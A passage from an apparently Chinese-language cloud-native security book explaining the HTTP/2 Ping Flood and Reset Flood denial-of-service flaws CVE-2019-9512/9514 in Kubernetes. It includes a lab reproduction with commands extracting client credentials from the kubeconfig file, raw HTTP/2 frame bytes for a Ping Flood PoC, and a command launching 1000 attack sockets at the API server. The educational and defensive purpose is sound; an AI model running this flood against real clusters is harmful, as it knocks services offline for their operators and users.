4.4.2 CVE-2019-9512/9514:HTTP/2协议实现存在问题

2019年8月13日,Netflix发布了一则安全通告[1],指出多个HTTP/2协议第三方库实现中存在若干拒绝服务漏洞。

其中,CVE-2019-9512和CVE-2019-9514存在于Kubernetes依赖的Go语言库net/http和golang.org/x/net/http2中,两个漏洞的CVSS 3.x评分均为7.5分。截至当时,除了最新发布的修复版本外,全部版本的Kubernetes受影响。

两个漏洞的影响是相似的,只是原理稍有不同:

·CVE-2019-9512漏洞使Kubernetes集群存在Ping Flood攻击风险:攻击者可以持续不断地向HTTP/2对端发送PING帧(frame),但不读取响应帧(PING ACK),促使对端维护一个内部队列存储产生的响应帧。如果响应帧入队列效率不高,以上操作可能造成CPU、内存或两者同时大量消耗,从而导致拒绝服务。

·CVE-2019-9514漏洞使Kubernetes集群存在Reset Flood攻击风险:攻击者可以开启若干个流(stream),在每个流上发送非法请求,这将促使对端发送一个RST_STREAM帧尝试终止流。如果RST_STREAM帧入队列效率不高,以上操作可能造成CPU、内存或两者同时大量消耗,从而导致拒绝服务。

读者可能会问:Ping Flood攻击通常不都是与ICMP有关吗,Reset Flood又是什么呢(注意与TCP Reset攻击区别开来[2]),为什么它们都出现在HTTP/2协议中呢?

要弄明白这些问题,我们首先需要了解一些关于HTTP/2的背景知识。

HTTP是现代互联网上最重要的协议之一。1989年,HTTP开始出现;1996年,HTTP/1.0规范通过,对应RFC 1945文档;1999年,RFC 2616文档给出了HTTP/1.1规范。接下来,很长一段时间没有新的HTTP规范出现,直到2015年,RFC 7540发布,HTTP/2作为正式协议推出。HTTP/2保留对以往标准的兼容,但是在传输过程上有很大差异。它采用基于帧的二进制协议,并且会对首部进行压缩。

HTTP/2允许对一条TCP连接进行多路复用。为实现这个功能,它引入了如下这些概念:

·流(stream):TCP连接上的双向字节流,可以携带一个或多个消息。

·消息(message):一系列构成了完整的请求或响应的帧。

·帧(frame):HTTP/2的最小通信单元,每个帧包含一个帧头部。

上述三者的关系可以用图4-8表示。

图4-8 HTTP/2的流、消息与帧之间的关系

一个帧由首部和载荷(payload)组成。首部共9字节,余下皆为载荷。帧的结构如图4-9所示。

图4-9 HTTP/2帧结构

其中,流ID用来表示当前帧所属的流。

HTTP/2有多种不同类型的帧,其中就包括PING帧和RST_STREAM帧:

1)PING帧主要用来计算两个端点之间的往返时间及测试对端存活状态。该帧包含一个标识位ACK,如果一端收到另一端发来的不带ACK的帧,按照协议,它就必须返回一个ACK置位的响应帧。

2)RST_STREAM帧用来告知对端终止一个流。

图4-10是用Wireshark抓包得到的PING帧请求与应答对照图。

图4-10 PING帧的请求与应答

读到这里,读者大概就明白为什么HTTP/2中会出现Ping Flood和Reset Flood攻击了。虽然HTTP/2是一个应用层协议,但它引入了与ICMP、TCP相似的控制机制,也就同样引入了机制带来的风险。

基础知识就介绍到这里。如欲了解更多关于HTTP/2的内容,可参考相关文献[3]

在进行漏洞复现实践之前,我们先借助curl来体验一下与Kubernetes API Server的HTTP/2交互。

在启用了RBAC机制的Kubernetes集群中,从外部直接访问API Server接口可能会被禁止。因此,攻击者往往需要本身具有访问API Server的一定权限(不需要非常高,只需要能访问一些简单接口即可,如/healthz)。为方便演示,我们首先从Kubernetes管理员家目录的kube-config文件中获取访问凭证并存储在本地,执行如下命令:


grep client-cert ~/.kube/config | cut -d" " -f 6 | base64 -d > ./client_cert
grep client-key-data ~/.kube/config | cut -d" " -f 6 | base64 -d > ./client_
    key_data
grep certificate-authority-data ~/.kube/config | cut -d" " -f 6 | base64 -d >
    ./certificate_authority_data

然后利用curl向API Server发起访问:


root@k8s:~# api_server_url=$(kubectl config view | grep server | awk '{print
    $2}')
root@k8s:~# curl --cert ./client_cert --key ./client_key_data --cacert ./
    certificate_authority_data $api_server_url/healthz --http2 -v
> GET /healthz HTTP/2
> Host: xxx.xxx.xxx.xxx:6443
> User-Agent: curl/7.64.1
> Accept: */*
>
* Connection state changed (MAX_CONCURRENT_STREAMS == 250)!
< HTTP/2 200
< content-type: text/plain; charset=utf-8
< content-length: 2
< date: Mon, 26 Oct 2020 03:13:17 GMT
<
* Connection #0 to host xxx.xxx.xxx.xxx left intact
ok* Closing connection 0

接下来,我们就进入到激动人心的实践环节。由于CVE-2019-9512和CVE-2019-9514的原理类似,这里笔者仅给出针对CVE-2019-9512的PoC编写(基于Python)和漏洞复现过程。CVE-2019-9514作为一个小挑战,留给感兴趣的读者。

大家可以使用开源的metarget靶机项目在Ubuntu服务器上一键部署漏洞环境,在参照项目主页安装metarget后,直接执行以下命令:


./metarget cnv install cve-2019-9512

即可部署存在CVE-2019-9512漏洞的Kubernetes集群。

与前面的小实验相同,我们首先从Kubernetes管理员家目录的kube-config文件中获取访问凭证并存储在本地,执行如下命令:


grep client-cert ~/.kube/config | cut -d" " -f 6 | base64 -d > ./client_cert
grep client-key-data ~/.kube/config | cut -d" " -f 6 | base64 -d > ./client_
    key_data
grep certificate-authority-data ~/.kube/config | cut -d" " -f 6 | base64 -d >
    ./certificate_authority_data

API Server采用HTTPS保证安全。因此,在进行HTTP/2交互前,我们首先要配置一个上下文:


# 配置到Kubernetes API Server的TLS上下文
self._context = ssl.SSLContext(ssl.PROTOCOL_TLS)
self._context.check_hostname = False
self._context.load_cert_chain(certfile="./client_cert", keyfile="./client_
    key_data")
self._context.load_verify_locations("./certificate_authority_data")
self._context.verify_mode = ssl.CERT_REQUIRED
# 协议协商
self._context.set_alpn_protocols(['h2', 'http/1.1'])

上述步骤中值得注意的是,我们需要在最后加上应用层协议协商环节,也就是采用ALPN扩展告知API Server接下来优先采用HTTP/2进行通信。

配置完成后,就可以利用这个上下文创建socket。按照协议,先发送HTTP/2的魔法字节流,然后再发送一个SETTINGS帧:


PREAMBLE = b'PRI * HTTP/2.0\r\n\r\nSM\r\n\r\n'
SETTINGS_FRAME = b"\x00\x00\x12\x04\x00\x00\x00\x00\x00\x00\x03\x00\x00\x00\
    x64\x00" \
    b"\x04\x40\x00\x00\x00\x00\x02\x00\x00\x00\x00"

接着,就可以发送HEADERS帧,向/healthz接口发起请求:


HEADERS_FRAME_healthz = b"\x00\x00\x29\x01\x05\x00\x00\x00\x01\x82\x04\x86\
    x62\x72\x8e\x84" \
    b"\xcf\xef\x87\x41\x8e\x0b\xe2\x5c\x2e\x3c\xb8\x5f\x5c\x4d\x8a\xe3" \
    b"\x8d\x34\xcf\x7a\x88\x25\xb6\x50\xc3\xab\xb8\xd2\xe1\x53\x03\x2a" \
    b"\x2f\x2a"

以上具体的帧内容均为通过curl访问API Server,再使用Wireshark抓包获得。

然后,我们向服务器返回一个SETTINGS帧的确认帧:


SETTINGS_ACK_FRAME = b"\x00\x00\x00\x04\x01\x00\x00\x00\x00"

接下来就可以向服务器发送PING帧了。按照协议构造PING帧如下:


PING_FRAME = b"\x00\x00\x08" \
    b"\x06" \
    b"\x00" \
    b"\x00\x00\x00\x00" \
    b"\x00\x01\x02\x03\x04\x05\x06\x07"

以上就是一次向API Server发起查询请求并发送一次PING帧的全过程。当然,单独一次是无法造成拒绝服务的,将上述步骤自动化循环进行即可。完整PoC见随书源码[4]

注意,如果需要在本地Wireshark抓包检查上述流程是否符合预期,可以在配置上下文时添加一行:


self._context.keylog_filename = "/root/keylog"

上述脚本运行后,会在/root/keylog生成keylog文件,我们可以为Wireshark配置这个文件,来对HTTPS流量进行解密。这里不再详述配置过程,读者可参考相关文献[5]

最后,我们以存在漏洞的Kubernetes的API Server为目标,执行以下命令,创建1000个socket发动Ping Flood攻击:


python3 CVE-2019-9512-poc.py KUBE-API-SERVER-IP KUBE-API-SERVER-PORT 1000

攻击发起后,在目标机器上使用htop命令监视资源消耗情况。可以发现,CPU的使用率达到了非常高的水平,说明我们已经实现了一定的拒绝服务效果,如图4-11所示。

图4-11 Ping Flood攻击后目标机器的资源使用情况

与基于流量的拒绝服务攻击相比,利用漏洞直接使目标崩溃或资源耗尽所需要的攻击成本通常是微不足道的。因此,我们必须提高对云原生环境下可能导致拒绝服务攻击漏洞的重视程度,提早研究和发现漏洞,部署周全的安全防护机制,及时升级软件版本,才能在最大程度上减小这类漏洞带来的经济损失。

[1] https://github.com/Netflix/security-bulletins/blob/master/advisories/third-party/2019-002.md。

[2] https://en.wikipedia.org/wiki/TCP_reset_attack。

[3] https://hpbn.co/http2/。

[4] https://github.com/brant-ruan/cloud-native-security-book/blob/main/code/0404-K8s拒绝服务攻击/CVE-2019-9512-poc.py。

[5] https://wiki.wireshark.org/TLS。